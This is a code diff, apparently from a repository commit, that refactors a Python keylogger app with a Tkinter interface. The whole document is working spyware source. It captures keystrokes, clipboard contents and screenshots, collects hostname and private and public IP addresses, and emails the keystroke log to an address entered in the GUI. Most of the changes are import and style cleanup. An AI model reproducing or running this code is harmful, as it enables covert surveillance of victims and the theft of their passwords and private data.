11# Import necessary libraries
2- from email .mime .multipart import MIMEMultipart
3- from email .mime .text import MIMEText
4- from email .mime .base import MIMEBase
5- from email import encoders
2+ import logging
3+ import os
4+ import platform
65import smtplib
7- from time import sleep
86import socket
9- import platform
10- from pynput .keyboard import Key , Listener
11- import os
12- from requests import get
137import threading
8+ import tkinter
9+ import urllib .error
10+ from email import encoders
11+ from email .mime .base import MIMEBase
12+ from email .mime .multipart import MIMEMultipart
13+ from email .mime .text import MIMEText
14+ from time import sleep
15+ from tkinter import Label , Frame , Entry , Button , messagebox , StringVar , Tk
16+ from urllib .request import urlopen
17+
1418from PIL import ImageGrab , Image , ImageTk
15- from tkinter import Label , Frame , Entry , Button , messagebox , StringVar
1619from customtkinter import CTk
17- import logging
1820from dotenv import load_dotenv
19- import tkinter
21+ from pynput . keyboard import Listener
2022
2123# Load environment variables
2224load_dotenv ()
3941state = 0
4042stopFlag = False
4143
44+
4245# Function to handle closing of the application window
4346def on_closing ():
4447 global stopFlag
4548 if messagebox .askokcancel ("Quit" , "Do you want to quit?" ):
4649 stopFlag = True
4750 root .destroy ()
4851
52+
4953# Function to send email with attachment
5054def send_email (filename , attachment , toaddr ):
5155 fromaddr = email_address
@@ -58,7 +62,7 @@ def send_email(filename, attachment, toaddr):
5862 filename = filename
5963 attachment = open (attachment , 'rb' )
6064 p = MIMEBase ('application' , 'octet-stream' )
61- p .set_payload (( attachment ) .read ())
65+ p .set_payload (attachment .read ())
6266 encoders .encode_base64 (p )
6367 p .add_header ('Content-Disposition' , "attachment; filename= %s" % filename )
6468 msg .attach (p )
@@ -69,16 +73,19 @@ def send_email(filename, attachment, toaddr):
6973 s .sendmail (fromaddr , toaddr , text )
7074 s .quit ()
7175
76+
7277# Function to gather system information
7378def computer_information ():
7479 with open (system_information , "a" ) as f :
7580 hostname = socket .gethostname ()
7681 IPAddr = socket .gethostbyname (hostname )
77- try :
78- public_ip = get ("https://api.ipify.org" ).text
79- f .write ("Public IP Address: " + public_ip + "\n " )
8082
81- except Exception :
83+ try :
84+ with urlopen ("https://api.ipify.org" , timeout = 10 ) as response :
85+ public_ip = response .read ().decode ()
86+ f .write (f"Public IP Address: { public_ip } \n " )
87+ except urllib .error .URLError :
88+ # called if say there's something causing the connection request to fail
8289 f .write ("Public IP Address: Couldn't get Public IP Address\n " )
8390
8491 f .write ("Processor: " + (platform .processor ()) + '\n ' )
@@ -87,26 +94,30 @@ def computer_information():
8794 f .write ("Hostname: " + hostname + "\n " )
8895 f .write ("Private IP Address: " + IPAddr + "\n " )
8996
97+
9098# Function to copy clipboard content
9199def copy_clipboard ():
92100 with open (clipboard_information , "a" ) as f :
93101 try :
94- r = tkinter . Tk ()
102+ r = Tk ()
95103 r .withdraw ()
96104 pasted_data = r .clipboard_get ()
97105 f .write ("\n Clipboard Data: \n " + pasted_data )
98106 except tkinter .TclError :
99107 f .write ("\n Clipboard could be not be copied" )
100108
109+
101110# Function to take screenshot
102111def screenshot ():
103112 im = ImageGrab .grab ()
104113 im .save (screenshot_information )
105114
115+
106116# Global variables for key logging
107117count = 0
108118keys = []
109119
120+
110121# Function to handle key press event
111122def on_press (key ):
112123 global keys , count
@@ -118,14 +129,17 @@ def on_press(key):
118129 write_file (keys )
119130 keys = []
120131
132+
121133# Function to write key logs to file
122134def write_file (keys ):
123135 for key in keys :
124136 k = str (key ).replace ("'" , "" )
125137 logging .info (k )
126138
139+
127140listener = Listener (on_press = on_press )
128141
142+
129143# Function to start keylogger
130144def start_logger ():
131145 global listener , toAddr , btnStr
@@ -136,12 +150,12 @@ def start_logger():
136150 print (count )
137151 if stopFlag :
138152 break
139- if ( count % 30 == 0 ) :
153+ if count % 30 == 0 :
140154 copy_clipboard ()
141- if ( count == 0 ) :
155+ if count == 0 :
142156 screenshot ()
143157 computer_information ()
144- if ( email_address and password and toAddr != "" ) :
158+ if email_address and password and toAddr != "" :
145159 try :
146160 send_email (keys_information , keys_information , toAddr )
147161 except :
@@ -153,11 +167,12 @@ def start_logger():
153167 btnStr .set ("Start Keylogger" )
154168 listener = Listener (on_press = on_press )
155169
170+
156171# Function to handle button click event
157172def on_button_click ():
158173 global state , toAddr , listener , stopFlag , receiver_entry , btnStr
159174 toAddr = receiver_entry .get ()
160- if ( receiver_entry ['state' ] == 'normal' ) :
175+ if receiver_entry ['state' ] == 'normal' :
161176 receiver_entry ['state' ] = 'disabled'
162177 btnStr .set ("Starting..." )
163178 else :
@@ -175,8 +190,9 @@ def on_button_click():
175190 stopFlag = True
176191 btnStr .set ("Start Keylogger" )
177192
193+
178194# Create the root window
179- root = CTk () # Creating root window using customTkinter, it allows to change color of Title bar unlike the official tkinter
195+ root = CTk () # Creating root window using customTkinter, it allows to change color of Title bar unlike the official tkinter
180196root .geometry ("800x600" )
181197root .config (bg = "black" )
182198root .protocol ("WM_DELETE_WINDOW" , on_closing )
@@ -207,13 +223,15 @@ def on_button_click():
207223InputFrame .pack ()
208224
209225# Widgets for email address entry
210- receiver_label = Label (InputFrame , text = "Recipients E-mail Address : " , font = ("Cascadia Code" , 13 , "bold" ), pady = 20 , bg = "black" , fg = "green" )
226+ receiver_label = Label (InputFrame , text = "Recipients E-mail Address : " , font = ("Cascadia Code" , 13 , "bold" ), pady = 20 ,
227+ bg = "black" , fg = "green" )
211228receiver_entry = Entry (InputFrame , bg = "black" , fg = "green" , width = 35 , font = ("Cascadia Code" , 13 , "bold" ))
212229receiver_entry .grid (row = 0 , column = 1 )
213230receiver_label .grid (row = 0 , column = 0 )
214231
215232# Button to start/stop keylogger
216- button = Button (root , textvariable = btnStr , command = on_button_click , width = 30 , bg = "green" , font = ("Cascadia Code" , 13 , "bold" ))
233+ button = Button (root , textvariable = btnStr , command = on_button_click , width = 30 , bg = "green" ,
234+ font = ("Cascadia Code" , 13 , "bold" ))
217235button .pack ()
218236
219237# Run the main event loop
0 commit comments